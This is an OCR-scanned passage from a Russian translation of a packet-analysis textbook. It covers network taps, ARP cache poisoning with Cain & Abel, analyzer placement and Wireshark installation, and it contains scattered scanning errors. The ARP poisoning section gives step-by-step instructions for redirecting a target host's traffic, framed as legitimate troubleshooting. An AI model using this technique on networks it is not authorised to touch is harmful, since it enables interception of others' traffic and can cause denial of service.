штекс?" А если вы с юга США, то вам знакомо такое выражение: "Зачем мне 

ливерный хлеб, если я могу съесть бутерброд с поджаренной болонской кол

басой?" Это же относится и к выбору между концентратором и сетевым ответ

вителем для перехвата и анализа пакетов. 

Сетевой ответвителъ - это оборудование, которое можно установить меж

ду двумя точками кабельной разводки сети, чтобы перехватывать пакеты, 

проходящие между этими точками. И в данном случае, как и при перехвате 

пакетов через концентратор, в сети устанавливается оборудование, которое 

позволяет перехватывать нужные для анализа пакеты. Отличие рассматрива

емого здесь способа заключается в том, что вместо концентратора в данном 



случае применяется оборудование, специально предназначенное для анализа 

сетевого трафика. 

Имеются два основных типа сетевых ответвителей: агрегированный и неа

грегированнъtй. Оба типа сетевых ответвителей устанавливаются между дву

мя устройствами для анализа обмена данными между ними. Главное отличие 

неагрегированного сетевого ответвителя от агрегированного заключается в 

том, что у него имеются четыре порта, как показано на рис. 2. 7, и ему требуют
ся отдельные интерфейсы для контроля текущего сетевого трафика в обоих 

направлениях. А у агрегированного сетевого ответвителя имеются лишь три 

порта, но он позволяет проводить контроль текущего сетевого трафика в обо

их направлениях с помощью единственного интерфейса. Кроме того, сетевые 

ответвители, как правило, требуется подключать к розетке электросети, хотя 

некоторые из них работают и от батарей электропитания, допуская кратко

срочное проведение анализа пакетов. 

Рис. 2.7. Неаrреrированный сетевой 
ответвитель типа Barracuda 

Агрегированные сетевые ответвители 

Проще всего пользоваться агрегированным сетевым ответвителем, у ко

торого имеется лишь один физический контрольный порт для анализа двуна

правленного сетевого трафика. Чтобы перехватывать с помощью агрегиро

ванного сетевого ответвителя весь входящий и исходящий сетевой трафик 

одного компьютера, подключенного к коммутатору, выполните следующие 

действия. 

1. Отключите компьютер от коммутатора. 

2. Подключите один конец первого сетевого кабеля к компьютеру, а дру
гой - к входному порту сетевого ответвителя. 

3. Подключите один конец второго сетевого кабеля к выходному порту се
тевого ответвителя, а другой - к коммутатору. 

4. Подключите один конец третьего сетевого кабеля к контрольному пор

ту сетевого ответвителя, а другой - к компьютеру, выполняющему роль 

анализатора пакетов. 



Агрегированный сетевой ответвитель должен быть подключен к сети так, 

как показано на рис. 2.8. В итоге анализатор пакетов должен перехватывать 
весь входящий и исходящий трафик компьютера, подключенного к данному 

ответвителю. 

Агрегированный сетевой 
ответвитель 

Коммутатор 

Компьютер 

D 
Анализатор пакетов 

Рис. 2.8. Применение агрегированного сетевого 
ответвителя дпя перехвата сетевого трафика 

Неагрегированнь1е сетевые ответвители 

Неагрегированный сетевой ответвитель немного сложнее, чем агрегиро

ванный. Тем не менее он допускает чуть больше удобств в перехвате сетевого 

трафика. Вместо единственного контрольного порта, применяемого для про

слушивания двунаправленного обмена данными, неагрегированный сетевой 

ответвитель предоставляет два контрольных порта. Один контрольный порт 

служит для анализа сетевого трафика в одном направлении (от компьютера, 

подключенного к сетевому ответвителю), а другой - для анализа сетевого тра

фика в другом направлении (к компьютеру, подключенному к сетевому ответ

вителю). 

Чтобы перехватывать весь входящий и исходящий сетевой трафик ком

пьютера, подключенного к коммутатору, выполните следующие действия. 

1. Отключите компьютер от коммутатора. 

2. Подключите один конец первого сетевого кабеля к компьютеру, а дру
гой - к входному порту сетевого ответвителя. 

3. Подключите один конец второго сетевого кабеля к выходному порту се
тевого ответвителя, а другой - к коммутатору. 

4. Подключите один конец третьего сетевого кабеля к контрольному пор
ту А сетевого ответвителя, а другой его конец - к одному сетевому адап

теру на компьютере, выполняющем роль анализатора пакетов. 



5. Подключите один конец четвертого сетевого кабеля к контрольному 
порту В сетевого ответвителя, а другой - к другому сетевому адаптеру на 

компьютере, выполняющем роль анализатора пакетов. 

В итоге неагрегированный сетевой ответвитель должен быть подключен к 

сети так, как показано на рис. 2.9. 

Компьютер Неагрегированный сетевой 
ответвитель Маршрутизатор 

Контрольный порт А Контрольный порт В 

D 
Анализатор пакетов 

Рис. 2. 9. Применение неагрегированного сетевого 
ответвителя для перехвата сетевого трафика 

Приведенные выше примеры могут навести на мысль, что с помощью се

тевого ответвителя можно контролировать только одно устройство. Но на 

самом деле контролировать можно многие устройства, проявив творческий 

подход к размещению сетевого ответвителя. Так, если требуется полностью 

контролировать обмен данными между целым сегментом сети и Интернетом, 

сетевой ответвитель можно установить между коммутатором, к которому под

ключены все остальные устройства, и маршрутизатором восходящего потока 

данных в сети. Такое расположение в узком месте сети позволяет собирать 

требующийся сетевой трафик. Подобная стратегия обычно применяется при 

текущем контроле сетевой безопасности. 

Выбор сетевого ответвителя 

Какой же тип сетевого ответвителя лучше? Как правило, предпочтение 

следует отдавать агрегированным сетевым ответвителям, поскольку для них 

требуется меньше кабельной разводки и не нужно устанавливать два сетевых 

адаптера на компьютере анализатора пакетов. Но если требуется перехваты

вать большие объемы сетевого трафик или контролировать трафик, проходя

щий только в одном направлении, то лучше выбрать неагрегированный сете

вой ответвитель. 
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Приобрести можно сетевые ответвители всех размеров: от простых ответ

вителей сети Ethernet за 150 долл. до оптоволоконных ответвителей корпора
тивного уровня, цена которых обозначается шестизначными цифрами. Мне 

лично приходилось пользоваться сетевыми ответвителями корпоративного 

уровня от компаний Ixia (бывшей Net Optics), Dualcoшш и Fluke Networks, и 
я был ими очень доволен, хотя имеется много других замечательных сетевых 

ответвителей. Если вы предполагаете применять сетевой ответвитель на кор

поративном уровне, убедитесь в достаточной его отказоустойчивости. Это оз

начает, что если сетевой ответвитель неверно функционирует или выходит из 

строя, то он должен все равно пропускать пакеты, не нарушая связность сети 

на ее ответвляемом участке. 

Заражение ARP-кewa 

К числу наиболее предпочитаемых мною методик перехвата сетевого тра

фика относится заражение АRР-кеша. Более подробно сетевой протокол ARP 
будет рассматриваться в главе 7, "Протоколы сетевого уровня", а здесь приво
дится лишь краткое его описание, необходимое для понимания особенностей 

данной методики. 

АRР-процесс 

Как упоминалось в главе 1, "Анализ пакетов и основы организации сетей", 
в модели OSI адресация пакетов может осуществляться на двух уровнях - вто

ром и третьем. Адреса второго уровня или МАС-адреса применяются вместе с 

выбранной вами системой адресации третьего уровня. В данной книге систе

ма адресации третьего уровня обозначается как система /Р-адресации в соответ

ствии с принятой в данной отрасли стандартной терминологией. 

Все устройства в сети связываются вместе по IР-адресам на третьем уров

не модели OSI. А поскольку коммутаторы действуют на втором уровне данной 
модели, то они осведомлены только о МАС>адресах второго уровня. Следова

тельно, для обмена пакетами между собой устройства должны включать в них 

информацию о МАС-адресах. Если же МАС-адрес неизвестен, он должен быть 

получен из известного IР-адреса третьего уровня, чтобы можно было пересы

лать сетевой трафик соответствующему устройству. И такой процесс преобра

зования адресов выполняется с помощью сетевого протокола ARP на втором 
уровне модели OSI. 

Для компьютеров, подключенных к сетям Ethernet, АRР-процесс начинает
ся в тот момент, когда одному компьютеру требуется связаться с другим. Сна

чала передающий компьютер проверяет свой АRР-кеш, чтобы выяснить, име

ется ли в нем уже МАС-адрес, связанный с IР-адресом компьютера-получателя. 

Если такой адрес отсутствует, передающий компьютер посылает АRР-запрос 



по широковещательному адресу ff: ff: ff: ff: ff: ff канального уровня, в кото
ром указывает IР-адрес получателя, как пояснялось в главе 1, "Анализ пакетов 
и основы организации сетей". Формируемый в итоге широковещательный 

пакет принимается всеми компьютерами в данном конкретном сегменте сети 

Ethernet. По существу, этот пакет содержит такой запрос: "Какой МАС-адрес 
имеет компьютер с указанным IР-адресом?" 

Те устройства, которые не соответствуют указанному в запросе IР-адресу 

получателя, просто игнорируют данный АRР-запрос. А компьютер, IР-адрес 

которого совпал с указанным в АRР-запросе, формирует ответный АRР-пакет, 

в котором указывает свой МАС-адрес. Таким образом, исходный передающий 

компьютер получает информацию об адресации канального уровня, которая 

требуется ему для связывания с удаленным компьютером. И эту информацию 

он сохраняет в своем АRР-кеше для быстрого ее извлечения. 

Принцип действия заражения ARP-кewa 

Заражение АRР-кеша, иногда еще называемое АRР-подменой, является усовер

шенствованной формой подключения к коммутируемой сети с целью ее про

слушивания. Принцип его действия состоит в том, чтобы посылать АRР-сооб

щения коммутатору или маршрутизатору сети Ethernet с поддельными МАС-а
дресами (второго уровня) для перехвата сетевого трафика другого компьюте

ра, как наглядно показано на рис. 2.10. 

Обычная схема сетевого трафика 

Цепе вой 
компьютер 

Маршрутизатор 

:::: ЕЕ 

Анализатор пакетов 

Целевой 
компьютер 

Заражение АRР-кеша 

Маршрутизатор 

:::: 83 

Анализатор пакетов 

Рнс. 2. 1 О. Заражение АRР-кеша позволяет перехватывать сетевой трафик 
целевого компьютера 

Такая методика обычно применяется атакующими злоумышленниками для 

посьшки ложно адресуемых пакетов клиентским системам, чтобы перехватить 

определенный сетевой трафик или вызвать атаку типа отказа в обслуживании 

(DoS) на целевой компьютер. Но данную методику можно применять и вполне 
законно для перехвата пакетов целевого компьютера в коммутируемой сети. 
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Применение Cain & Abel 

Прежде чем пытаться применить заражение АRР-кеша, следует приобре

сти необходимые инструментальные средства и собрать некоторую инфор

мацию. В целях демонстрации данной методики воспользуемся распростра

ненным инструментальным средством защиты Cain & Abel от компании oxid. 
it (http://www. oxid. i tl), которое поддерживает операционные системы 
Windows. Загрузите и установите это инструментальное средство, следуя ин
струкциям на веб-сайте по указанному выше адресу. 

lelQIИIPMШ!i При попытке загрузитъ инструменталъное средство Саiп & Abel, ве

роятнее всего, антивирусная программа или браузер отметит его как 

зловредное программное обеспечение или "хакерское инструменталъное 

средство". Оно действителъно находит самое разное применение, 81UtЮ

чая и злонамеренное. Но для рассматриваемъtх здесъ целей оно не пред

ставляет никакой угрозы вашей системе. 

Прежде чем воспользоваться Саiп & Abel, вам придется собрать определен
ную информацию, включая IР-адрес вашей анализирующей пакеты системы, 

удаленной системы, откуда вы хотели бы перехватывать сетевой трафик, а 

также маршрутизатора, от которого удаленная система получает нисходящий 

поток данных. 

Открыв Саiп & Abel в первый раз, вы заметите ряд вкладок у верхнего края 
главного окна. Ведь заражение АRР-кеша - это лишь одна из функциональных 

возможностей Саiп & Abel. Для рассматриваемых здесь целей выберите вклад
ку Sniffer (Анализатор пакетов). Щелкнув на этой вкладке, вы должны увидеть 
пустую таблицу (рис. 2 .11). 

Чтобы заполнить эту таблицу, вам придется активизировать встроенный в 

Саiп & Abel анализатор пакетов и просканировать хосты в своей сети. С этой 
целью выполните следующие действия. 

1. Щелкните на второй слева пиктограмме с изображением сетевого адап
тера на панели инструментов. 

2. Вам будет предложено выбрать интерфейс для анализа пакетов. Выбе
рите интерфейс, подключенный к той сети, где вы будете выполнять 

заражение АRР-кеша. Если это ваша первая попытка воспользоваться 

средствами Cain & Abel, выберите этот интерфейс и щелкните на кноп
ке ОК. А если вы выбирали интерфейс в Саiп & Abel прежде, то резуль
тат вашего выбора был сохранен, и вам нужно лишь щелкнуть на пик

тограмме с изображением сетевого адаптера еще раз, чтобы выбрать 

подходящий интерфейс. (Убедитесь, что кнопка с этой пиктограммой 

находится в нажатом состоянии, чтобы активизировать встроенный в 

Саiп & Abel анализатор пакетов.) 
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Рис. 2. 1 1. Вкладка Sniffer в главном окне Cain & АЬе/ 

3. Чтобы составить список хостов, имеющихся в вашей сети, щелкните на 
кнопке со знаком "плюс" ( +). Откроется диалоговое окно МАС Address 
Scanner (Сканер МАС-адресов), как показано на рис. 2.12. В этом окне 
должен быть выбран переключатель All hosts in my subnet (Все хосты в 
подсети), либо вы можете указать диапазон адресов. Щелкните на кноп

ке ОК, чтобы продолжить дальше . 

МАС Address Scanne:r х 

Taiget - ---l 

: ~[~~":~ ':] J 
[11~2 ~~ 

'-- --- ---
- Promiscuoщ·Mode Scanner 
Г ARP Т est (81oodce!I ЗН>t) 
Г ААР Te•t (81oadcest 16·Ьit) 

1 Г ARP Т est (81oedcest 8-Ьit) 
Г ARP Т est (G1oup Ьit) 
Г ARP Т e.t (Muittced g1oup О) 

1 Г ARPTest(Muitk:estg1oup1) 
Г ARP Т ed (Mukк:est gioup ЗJ 
Г AITeds 

1 г:··- ~к: -11 Cencel 

Рис. 2. 12. Сканирование МАС-адресов средствами 
Cain & АЬе/ для обнаружения узлов сети 



Некоторые пользователи Windows 10 жалуются, что Cain & Abel не в состо
янии определить IР-адрес их сетевых интерфейсов, что препятствует заверше

нию данного процесса. Если подобное затруднение возникнет и у вас, то при 

настройке своих сетевых интерфейсов вы обнаружите, что их IР-адрес равен 

О. О. О. О. Чтобы выйти из этого затруднения, выполните следующие действия. 

1. Если инструментальное средство Cain & Abel открыто, закройте его. 

2. Введите ncpa. cpl в строке поиска на рабочем столе операционной си

стемы, чтобы открыть диалоговое окно Network Connections (Сетевые 
подключения). 

3. Щелкните сначала правой кнопкой мыши на сетевом интерфейсе, из 
которого вы собираетесь выполнять анализ пакетов, а затем на кнопке 

Properties (Свойства). 

4. Дважды щелкните на опции lnternet Protocol Version 4 (TCP/1Pv4). 

5. Щелкните на кнопке Advanced (Дополнительно) и выберите вкладку DNS. 

6. Установите флажок рядом с меткой Use this connection's DNS suffix in 
DNS registration (Использовать DNS-суффикс для подключения при ре
гистрации в DNS), чтобы активизировать соответствующий режим. 

7. Щелкните на кнопке ОК, чтобы выйти из открытых диалоговых окон, а 
затем перезапустите Cain & Abel. 

В итоге таблица должна заполниться списком всех хостов, подключенных 

к вашей сети, наряду с их МАС-адресами, IР-адресами и сведениями о произво

дителях. Именно с этим списком вам придется работать при настройке зара

жения АRР-кеша. 

У нижнего края рабочего окна Саiн & Abel должен появиться ряд вкладок 
для перехода в другие окна под заголовком Sniffer. Итак, составив список хо
стов, перейдите на вкладку APR, чтобы приступить к работе по методике зара
жения АRР-кеша в соответствующем диалоговом окне. 

В открывшемся диалоговом окне APR появятся две пустые таблицы. По 
окончании приведенных ниже действий по настройке в верхней таблице поя

вятся устройства, задействованные в заражении АRР-кеша, а в нижней табли

це - весь обмен данными между зараженными вами машинами. 

Чтобы настроить заражение АRР-кеша, выполните следующие действия. 

1. Щелкните сначала на пустом участке в верхней части экрана, а затем на 
кнопке со знаком "плюс" ( +) стандартной панели инструментов Саiн & Abel. 

2. В открывшемся окне появятся две панели выбора. Слева вы увидите 
список всех хостов, имеющихся в вашей сети. Если вы щелкнете на 

IР-адресе целевого компьютера, то в панели справа появится список 



всех хостов в вашей сети, кроме хоста, имеющего IР-адрес целевого 

компьютера. 

3. Щелкните сначала в правой панели на IР-адресе маршругизатора, не· 
посредственно направляющего поток данных, исходящий из целевого 

компьютера (рис. 2.13), а затем на кнопке ОК. В итоге IР-адреса обоих 

устройств должны появиться в верхней таблице в главном окне приклад

ной программы. 

4. Чтобы завершить процесс, щелкните на черно-желтом знаке радиации, 
что на стандартной панели инструментов. Это приведет к активизации 

средств Саiп & Abel для заражения АRР-кеша и позволит вашей анали
зирующей пакеты системе стать посредником во всех обменах данными 

между целевой системой и маршругизатором восходящего потока. 

New ARP Poison Routing х 

WARNING !!! 

АРА enaЫes you to hijack IP traflic Ьetween the selected host on the leh ist and al selected hosts on the right ist in both 
dwections. 11 а selected host has routing capaЬilities 'WAN traffic will Ье intercepted as well Please note that since }'О(Х 
rnachine has not the same performance о1 а router you could cause DoS ~ you set АРА between your Default Gateway and 
аН other hosts on your lAN. 

~ -
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Рис. 2. 13. Выбор устройств, для которых требуется активизировать 
заражение АRР-кеша 
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Теперь вы сможете запустить свой анализатор пакетов и приступить к про· 

цессу их анализа. Завершив перехват сетевого трафика, щелкните еще раз на 

черно-желтом знаке радиации, чтобы прекратить заражение АRР-кеша. 

Предупреждение о заражении ARP-кewa 

В качестве заключительного замечания по поводу заражения АRР-кеша 

хочется сказать, что вы должны учитывать назначение тех систем , для кото· 

рых реализуется данный процесс. Данную методику не следует, в частности, 

применять для устройств с очень высокой степенью использования в сети. 



Примером тому служит файловый сервер, имеющий канал связи с сетью на 

скорости 1 Гбит /с, особенно когда система анализа пакетов подключена на 
скорости только 100 Мбит/с. 

Когда сетевой трафик перенаправляется по методике, представленной в 

данном примере, весь трафик, передаваемый и получаемый целевой систе

мой, должен сначала пройти через систему анализа пакетов, а следовательно, 

она станет узким местом в процессе обмена данными. Такая перемаршрутиза

ция может иметь эффект вроде отказа в обслуживании на анализируемой ма

шине, что в конечном счете приведет к снижению производительности сети 

и получению ложных данных анализа. Перегрузка по трафику может также 

воспрепятствовать нормальному обмену данными по сетевому протоколу SSL. 

l11QIИIP1iiilil Чтобы исключить прохождение всего сетевого трафика -через вашу си

стему анализа пакетов, воспользуйтесь таким средством, как асимме

тричная маршрутизация. Подробнее с этой методикой можно ознакQ

митъся в разделе APR руководства пользовател.я Саiп & АЬеl (http: / / 
www.oxid.it/ca_urn/topics/apr .htm). 

Анализ пакетов в марwрутизируемой среде 
Все методики подключения к коммутируемым сетям доступны и для марш

рутизируемых сетей. Для работы в маршрутизируемых средах следует лишь 

обращать особое внимание на местоположение анализатора пакетов, когда 

устраняются неполадки, охватывающие несколько сегментов сети. 

Как вам должно быть уже известно, широковещательный домен целево

го устройства простирается вплоть до маршрутизатора, где сетевой трафик 

передается следующему маршрутизатору восходящего потока. Если данные 

должны проходить несколько маршрутизаторов, то очень важно анализиро

вать сетевой трафик со всех сторон маршрутизатора. 

В качестве примера рассмотрим затруднение, которое может возникнуть в 

сети с несколькими сегментами, соединенными через ряд маршрутизаторов. 

В такой сети каждый сегмент связывается с восходящим сегментом для сохра

нения и извлечения данных. Затруднение, которое мы пытаемся разрешить, 

состоит в том, что нисходящая подсеть (т.е. сеть Г на рис. 2.14) не может свя
заться ни с одним из устройств в сети А. 

Если проанализировать трафик устройства в сети Г, испытывающего труд

ности связывания с устройствами в других сетях, можно явно обнаружить 

данные, передаваемые в другой сегмент сети, но не обнаружить данные, по

ступающие обратно. Если же изменить положение анализатора пакетов и при

ступить к анализу сетевого трафика в следующем восходящем сегменте сети 

(т.е. в сети Б), то можно обнаружить, что сетевой трафик пропускается или 



неверно направляется маршругизатором сети Б. В конечном итоге это приве

дет к проблеме настройки маршругизатора, разрешив которую можно разре

шить и более крупную дилемму. И хотя рассматриваемый здесь случай выгля

дит несколько общим, из него можно сделать следующий важный вывод: когда 

приходится иметь дело с несколькими маршругизаторами и сетевыми сегмен

тами, анализатор пакетов придется устанавливать в разных местах сети, что

бы получить полную картину происходящего и точно определить возникшее 

в ней затруднение. 

Сеть А 

СетьГ 

Рис. 2. 14. Компьютер в сети Г не может связаться с компьютерами в сети А 

КАРТЫ СЕТИ 

Обсужлая расположение анализатора пакетов в сети, мы исслеловали несколько 

так называемых карт сети. Карта, или схема, сети показывает все технические ре

сурсы в сети и порялок их соелинения. 

Чтобы опрелелить место лля расположения анализатора пакетов в сети, лучше 

всего прелставить ее наглялно. Если у вас имеется карта сети, лержите ее пол рукой, 

поскольку она является весьма uенным ресурсом лля проuесса лиагностики и анали

за. для этого вам, возможно лаже, прилется составить полробную карту своей сети. 

Помните, что иногла половину лела в устранении неисправностей обеспечивает сбор 

наллежащих ланных. 
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Размещение анализатора пакетов на практике 

Мы рассмотрели четыре способа перехвата сетевого трафика в коммути

руемой среде . К ним можно добавить еще один , для чего достаточно рассмо

треть установку приложения для анализа пакетов на одном устройстве, из ко

торого требуется перехватывать сетевой трафик (такая методика называется 

прямой установкой) . Из этих пяти способов не так-то просто выбрать наиболее 

подходящий . Поэтому в табл. 2.2 сведены основные положения по каждому 

способу и соответствующей методике анализа пакетов. 

Исследователям пакетов необходимо действовать как можно более скрыт

но. В идеальном случае требующиеся данные следует собирать, не оставляя 

следов . Подобно тому, как следователи-криминалисты не должны портить ме

сто преступления, так и аналитикам пакетов не следует портить перехватыва

емый сетевой трафик. 

Таблица 2.2. Основнь1е положения по анализу пакетов в коммутируемой среде 

Методика 

Зеркальное 

отображение 

портов 

Перехват 

пакетов через 

концентратор 

Применение 

сетевого 

ответвителя 

Основные положения 

• Не оставляет следы и не формирует дополнительные пакеты 

Можно настроить, не отключая клиента от сети , что удобно при зеркальном 

отображении портов маршрутизатора или сервера 

Задействует ресурсы коммутатора для цепей обработки и может быть непри

емлемой при высоком трафике 

Подходит в тех случаях, когда хост можно безболезненно отключить от сети 

Не дает желаемого эффекта, когда требуется перехватить сетевой трафик из 

нескольких хостов, поскольку в этом случае вполне возможны коллизии и по

теря пакетов 

Может привести к потере пакетов в современных хостах, работающих на 

скорости l 00-1 ООО Мбит/с, поскольку большинство настоящих концентра

торов работают но скорости лишь l О Мбит/с 

Идеально подходит в том случае, если хост можно безболезненно отключить 

от сети 

Единственная возможность, когда требуется проанализировать сетевой тра

фик по оптоволоконному соединению 

Наиболее предпочтительное решение для перехвата пакетов и непрерывного 

контроля сети в корпоративной среде, поскольку сетевые ответвители весьма 

надежны и допускают наращивание до масштабов каналов связи с высокой 

пропускной способностью 

Сетевые ответвители предназначены для решения насущных задач и вполне 

соответствуют уровням скоростей в современных сетях, что выгодно отличает 

данную методику от перехвата пакетов через концентратор 

Может обойтись недешево, особенно в крупных масштабах, о следователь

но, применять данную методику невыгодно 



Методика 

Заражение 

АRР-кеша 

Прямая 

установка 

Окончанш табл. 2. 2 

Основные nоnожени11 

• Считается весьма нестабильной методикой, поскольку требует внедрения па

кетов в сеть с целью перенаправить сетевой трафик через анализатор паке
тов 

Если зеркальное отображение портов невозможно" то может оказаться эф

фективной методикой для быстрого перехвата сетевого трафика из целевого 

устройства, не отключая его от сети 

• Требует особой аккуратности, чтобы не оказывать влияния на функциониро

вание сети 

Обычно не рекомендуется, ведь если возникнут трудности в работе хоста, 

они могут привести к потере пакетов или такому манипулированию ими, что 

они не будут представлены точно 

От сетевого адаптера хоста не требуется поддержки смешанного режима 

работы 

Лучше всего подходит для тестовых сред, исследования или сравнения с ис

ходными характеристиками производительности, анализа файлов перехва

та, создаваемых в других местах сети 

Перейдя к практическим сценариям в последующих главах, мы обсудим 

наилучшие способы перехвата требующихся данных в каждом конкретном слу

чае. А пока обратите внимание на рис. 2.15, на котором приведена блок-схема, 
призванная помочь вам выбрать наилучшую методику для перехвата сетевого 

трафика в конкретной ситуации. На этой блок-схеме во внимание приняты 

самые разные факторы, начиная с места для перехвата пакетов: дома или на 

работе, но она служит лишь в качестве общей справки и не охватывает все 

возможные сценарии подключения к сети с целью прослушивания и анализа 

пакетов. 
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ВВЕДЕНИЕ В WIRESHARK 

Как упоминалось в главе 1, "Анализ пакетов и основы 
организации сетей", для анализа сетевых пакетов имеет

ся несколько приложений, но в этой книге основное вни-

мание уделяется приложению Wiresliark. А в этой главе пред
ставлено введение в Wireshark. 

Краткая история создания Wireshark 
У приложения Wireshark очень богатая история. Джеральд Комбс (Gerald 

Combs), окончивший курс вычислительной техники в университете штата 
Миссури, расположенном в Канзас-Сити, разработал это приложение по не

обходимости. Первая версия его приложения была выпущена под названием 

Ethereal в 1998 году по универсальной общедоступной лицензии GNU (GPL). 
Через восемь лет после выпуска версии Ethereal Комбс оставил свою рабо

ту в поисках других карьерных возможностей. К сожалению, у его тогдашнего 

работодателя остались все права на торговую марку Ethereal, и поэтому Комб
су не удалось добиться согласия на получение контроля над фирменным на

званием Ethereal. Поэтому Комбс и остальные члены команды разработчиков 
переименовали свой проект на Wireshark в середине 2006 года. 

Ныне популярность приложения Wireshark существенно возросла, а в его 
разработке приняло участие более 500 специалистов. В то же время приложе



Преимущества Wireshark 
Приложение Wiresl1ark дает ряд преимуществ, благодаря которым оно ока

зывается весьма привлекательным для повседневного применения. Оно рас

считано на разные категории аналитиков пакетов: от начинающих до опыт

ных, предоставляя заманчивые возможности как для тех, так и для других. 

Итак, исследуем возможности Wireshark по критериям, определенным в главе 
1, "Анализ пакетов и основы организации сетей", для выбора инструменталь

ных средств анализа пакетов. 

• Поддержка сетевых протоколов. Wireshark отличается поддержкой 

целого ряда сетевых протоколов - на момент написания этой книги их 

насчитывалось около 1000. К числу поддерживаемых сетевых протоко
лов относятся как общеупотребительные протоколы вроде IP и DHCP, 

так и более развитые специализированные протоколы вроде DNP3 и 

BitTorrent. А поскольку приложение Wireshark разработано по модели 

открытого исходного кода, то при каждом его обновлении вводится 

поддержка нового сетевого протокола. 

l1!ЦМ!рМШ!I В том маловероятном случае, если треflующийся вам сетевой проттсол 

не поддерживается в Wireshark, можетR запрограммироватъ его под

держку сами. После этого передайте свой исходный код разработчикам 

Wireshark на рассмотрение, чтобъt включитъ его в данное приложение. 

Узнатъ о том, что требуется для участия со сваим исходнъtм кодом в 

проекте Wireshark, можно по адресу https://www.wireshark.org/ 
develop. html. 

• Удобство для пользователей. Интерфейс Wireshark - самый простой 

для усвоения среди всех приложений для анализа пакетов. Он создан на 

основе графического интерфейса с ясно составленными контекстными 

меню и простой компоновкой. Кроме того, в нем предоставляется ряд 

средств, предназначенных для повышения удобства его практического 

применения, в том числе выделение сетевых протоколов разным цве

том и подробное графическое представление исходных данных. В отли

чие от некоторых более сложных приложений, работающих в режиме 

командной строки (например, утилиты tcpdump), интерфейс приложе

ния Wireshark вполне доступен тем, кто делает только первые шаги в об
ласти анализа пакетов. 

• Стоимость. Приложение Wiresliark совершенно бесплатно, поскольку 

оно выпущено по универсальной общедоступной лицензии GNU (GPL). 

Его можно свободно загрузить и применять в любых целях: как в лич

ных, так и в коммерческих. 



le!QШ!pr+iШll Несмотря на то что приложение Wireshark может бытъ получено 

бесплатно, некоторые по ошибке внесли за него плату. Если вы ище

те анализаторы пакетов на электронном аук1&ионе еВау, вас может 

удивитъ, сколъко людей готовы прода:тъ "профессионалъную корпора

тивную лицензию" на Wireshark всего лишъ за 39,95 долларов. Если 

вы действителъно решите приобрести такую лицензию, свяжитесъ 

со мной, и мы сможем обсудитъ выгодные варианты приобретения 

недвижимости с видом на океан, которые я мог бы предложитъ вам у 

себя в Кентукки! 

• Поддержка программы. Уровень поддержки программного обеспече

ния может решить его судьбу. Свободно распространяемое программ

ное обеспечение вроде Wireshark может и не иметь никакой формаль
ной поддержки. Поэтому сообщество разработчиков программного обе

спечения с открытым исходным кодом нередко опирается на свою базу 

пользователей для оказания помощи. К счастью для нас, сообщество 

разработчиков Wireshark относится к числу самых активных. В частнос
ти, ссылки на веб-сайте, посвященном приложению Wireshark, направ
ляют непосредственно к нескольким формам поддержки, включая опе

ративно доступную документацию, вики-страницы, часто задаваемые 

вопросы и место для подписки на список рассылки, который контро

лируется большинством главных разработчиков Wireshark. Имеется 
также платная поддержка Wireshark со стороны компании Riverbed 
Technology. 

• Доступ к исходному коду. Wireshark относится к категории программ
ного обеспечения с открытым исходным кодом, который доступен в 

любой момент. Это может оказаться удобным для поиска и устранения 

неисправностей в данном приложении, понимании принципа действия 

дешифраторов сетевых протоколов или внесения своего вклада в разра

ботку Wireshark. 

• Поддержка операционных систем. В приложении Wireshark поддер
живаются все основные современные операционные системы, включая 

Windows, Linux и Мае OS Х. Полный перечень поддерживаемых опера
ционных систем можно посмотреть на начальной странице веб-сайта, 

посвященного приложению Wiresliark. 

Установка Wireshark 
Процесс установки Wireshark удивительно прост. Но прежде чем установить 

Wireshark, убедитесь, что ваша система отвечает следующим требованиям. 
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• Любой современный 32- или 64-разрядный ЦП типа х86. 

• 400 Мбайт доступной оперативной памяти, хотя для крупных файлов пе
рехвата потребуется больший объем памяти. 

• Не меньше 300 Мбайт на жестком диске плюс место для файлов пере
хвата. 

• Сетевой адаптер, поддерживающий комбинированный (promiscuous 
mode) режим работы. 

• Драйвер перехвата Wi11Pcap/libpcap. 

Драйвер перехвата Wi11Pcap является реализованным в Wiвdows вариан
том рсар - интерфейса API для перехвата пакетов. Проще говоря, этот драй
вер взаимодействует с операционной системой для перехвата исходных дан

ных пакета, применения фильтров и переключения сетевого адаптера в ком

бинированный режим, и обратно. 

Несмотря на то что драйвер WinPcap можно загрузить отдельно (по адресу 
http://www. winpcap. org/), его, как правило, лучше устанавливать из дистри
бутивного пакета Wireshark, поскольку версия драйвера WinPcap, входящая в 
этот пакет, уже проверена на работоспособность вместе с Wireshark. 

Установка в системах Windows 
Текущая версия Wireshark проверена на работоспособность в разных вер

сиях ОС Windows, которые поддерживаются до сих пор их производителем. 
На момент написания этой книги к поддерживаемым относились версии 

Wiвdows Vista, Wiвdows 7, Wiвdows 8, Wiвdows 10, а также Windows Server 
2003, 2008 и 2012. И хотя Wireshark зачастую будет работать и в других верси
ях Wiвdows (вроде Windows ХР), официально эти версии не поддерживаются. 

Для установки Wireshark в ОС Wiвdows прежде всего необходимо получить 
последнюю версию сборки установочного пакета с официального веб-сайта 

Wireshark по адресу http: //www.wireshark.org/. С этой целью перейдите в 
раздел Download (Загрузки) этого веб-сайта и выберите нужный вариант уста
новочного пакета в зависимости от применяемой версии Windows. А после за
грузки установочного пакета выполните следующие действия. 

1. Дважды щелкните на файле с расширением .ехе, чтобы начать установ
ку, а затем щелкните на кнопке Next (Далее) во вступительном окне. 

2. Прочитайте лицензионное соглашение и, если согласны с ним, щелкни
те на кнопке 1 Agree (Соглашаюсь). 

3. Выберите компоненты Wireshark, которые требуется установить, как 
показано на рис. 3.1. Для своих целей можете принять выбранные по 
умолчанию компоненты и щелкнуть на кнопке Next. 



Wireshark 2.6.1 б4·Ь~t Setup - , х -· 
Choose Components 

Choose YJhich features of W1reshark 2.6.1 64·Ь~ you \\ant to 1nstall. 

The follo\\1ng components are аvа1!аЫе for 1nstallation. 

Select components to install: 0 

0 TShark 

Owiresharkl 

J 0 Plugins & Extenяons 

+ Tools 

0 User's Guide ___ ) 
Descr1pt1on 

Space required: 182 .бМВ 

Рис. 3. 1. Выберите компоненты Wireshark, которые требуется установить 

4. Щелкните на кнопке Next в открывшемся окне Select Additional Tasks (Вы

бор дополнительных задач). 

5. Выберите место для установки Wiresliark и щелкните на кнопке Next. 

6. Когда появится диалоговое окно, в котором запрашивается установка 

драйвера WinPcap, установите сначала флажок lnstall WinPcap (Устано

вить драйвер WinPcap), как показано на рис. 3.2, а затем щелкните на 

кнопке lnstall. В итоге должен начаться процесс установки. 

